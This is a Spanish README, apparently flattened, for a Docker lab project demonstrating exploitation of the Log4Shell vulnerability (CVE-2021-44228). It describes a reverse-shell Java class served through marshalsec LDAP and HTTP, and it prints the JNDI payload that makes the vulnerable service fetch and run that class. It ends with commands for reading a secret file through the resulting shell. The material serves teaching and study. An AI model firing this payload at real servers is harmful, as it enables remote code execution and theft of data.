
Presenta cómo explotar la vulnerabilidad CVE-2021-44228.
Un proyecto basado en Java que presenta cómo explotar la vulnerabilidad CVE-2021-44228.
jdk1.8.0_181 creado durante la extracción.make all para construir todos los proyectos y crear una imagen Docker con el servicio vulnerable.make start-vulnerable-service para iniciar un contenedor Docker que ejecute el servicio a explotar. El servicio será accesible a través del puerto 8080 de la máquina local.make start-nc para iniciar un listener TCP que esperará a que se establezca la conexión con el servidor invadido.make start-exploiter para iniciar el programa que nos ayudará a explotar la vulnerabilidad.make start-nc). Puede que hayas recibido un mensaje como Connection received on 172.24.0.2 46638 (la dirección IP y el puerto TCP pueden no ser los mismos que se muestran aquí). Esto significa que la explotación funcionó y ahora tenemos una shell conectada al servidor/contenedor Docker.Antes de responder eso, echemos un vistazo a los procesos creados a lo largo del flujo.

Este contenedor Docker servirá un servicio HTTP simple responsable de recibir solicitudes GET en la ruta /log con un parámetro input. Una vez que lo recibe, registra la entrada en la consola.
Para explotar la vulnerabilidad, se requieren algunas configuraciones específicas:
1.8.0_181. Esto es necesario para permitir que se cargue una clase Java desde un servicio externo.spring-boot-starter-logging:2.6.1 predeterminado por spring-boot-starter-log4j2:2.6.1. Este último trae log4j-core:2.14.1 al proyecto, que es una versión vulnerable a CVE-2021-44228.
1.8.0_181.No hay grandes explicaciones ni ajustes aquí. Es un programa simple utilizado para leer y escribir datos a través de los protocolos TCP y UDP. Lo usaremos para mantener la escucha de conexiones TCP entrantes en el puerto 9001 (algo más abrirá esta conexión por nosotros en el lado del servidor. 😉).
Una vez que se establece la conexión, todos los datos entrantes se mostrarán en la consola. Además, toda entrada escrita se enviará a través de esta conexión.
¡Aquí es donde comienza la diversión!
Este programa encapsula varios pasos necesarios para explotar la vulnerabilidad. Vamos a desglosarlo:
Para ejecutar este programa, debemos informar tres parámetros:
Una vez que el programa se inicie, escribirá un código Java basado en una plantilla. Esta plantilla requiere dos argumentos: la dirección IP y el puerto de Netcat.
Una vez escrito el código, el programa lo compilará en un archivo de clase binario utilizando el compilador de Java (javac) versión 1.8.0_181. Esto es importante para mantener la misma versión de código que el servicio explotado.
La clase Java Exploit tiene una estructura bastante simple. En su constructor hay una instrucción que solicita al sistema operativo crear un programa shell. Una vez creado, la clase abre una conexión TCP con Netcat, enlaza las entradas y salidas de la shell y la conexión TCP, y atrapa la ejecución de la máquina virtual Java en un bucle hasta que Netcat cierra la conexión. Una vez que sale del bucle, el constructor continúa como si nada hubiera pasado.
Exploiter abre un subproceso solicitando la ejecución del programa Java Marshalsec. El programa Marshalsec está disponible en el proyecto Github mbechler/marshalsec.
Junto con otras funcionalidades, gestiona solicitudes LDAP y puede usarse para pedir a las conexiones entrantes que resuelvan solicitudes descargando clases Java desde una fuente externa. En nuestro caso, lo usaremos para solicitar a las conexiones entrantes que descarguen nuestra clase Java Exploit desde el servicio HTTP.
Una vez que el programa Exploiter ha creado la clase Java modificada, iniciará un servicio HTTP con una única respuesta: la clase Java binaria Exploit.
En resumen, cuando el servicio vulnerable solicita que se cargue la clase externa, este servicio leerá el archivo binario de la clase Java y lo enviará de vuelta al servicio vulnerable. ¡Así de simple!
Una vez que todo esté en marcha, el programa mostrará la solicitud HTTP necesaria para desencadenar la explotación. Simplemente cópiala y pégala en tu navegador favorito o usa curl desde un terminal, ¡lo que mejor te funcione!
La solicitud será algo similar a esto:
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
Dado que los parámetros de consulta contienen caracteres especiales, deben codificarse para que el navegador los acepte. Si lo decodificamos, el mensaje será:
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
Aquí hay un diagrama simplificado de lo que sucede una vez que se envía la solicitud:

Intentaré usarlo para explicar lo que sucede a continuación:
${jndi:ldap://host.docker.internal:1389/a}.host.docker.internal:1389 usando la clave a (un nombre distinguido LDAP bastante insulso e inválido, pero, mientras funcione...). Luego, log4j envía una solicitud a esta dirección con la intención de recuperar el valor.Observación: host.docker.internal es una dirección válida desde el servicio Docker para alcanzar la máquina física en la que se ejecuta.
host.docker.internal:8000 con el nombre Exploit para resolver la solicitud.host.docker.internal:8000 pidiendo obtener un recurso disponible en la ruta /Exploit.Exploit.Exploit().Exploit() inicia un programa shell en el servidor y solicita que se abra un canal TCP con host.docker.internal:9001.Exploit() enlaza las entradas y salidas de la shell con la conexión TCP y atrapa el hilo de la Máquina Virtual Java en un bucle hasta que la conexión TCP es cerrada por el otro lado.TBD
proyecto Github kozmer/log4j-shell-poc - Me ayudó a entender cómo funciona la explotación. ¡Gracias a todos los que contribuyeron a este proyecto!
proyecto Github mbechler/marshalsec - No habría podido trabajar con la comunicación y redirección LDAP tan rápido como lo hice sin este proyecto. ¡Gracias, chicos!
Video de SrcCodes sobre la vulnerabilidad Log4j - Un video bien explicado que muestra cómo iniciar la explotación en un programa basado en Spring.
Video de demostración de explotación de CVE-2021-44228 por Nowcomm - Un buen video que explica cómo explotar CVE-2021-44228 en Apache Solr. ¡Tuve que ver la segunda mitad como una docena de veces para entender lo que realmente estaba pasando! 😛
whoami. Puede que recibas root como salida.cat ../private-directory/my-secret-file.txt para ver qué sucede. 🙂CTRL+C para cerrar la conexión.CTRL+C en los otros terminales para interrumpir los procesos.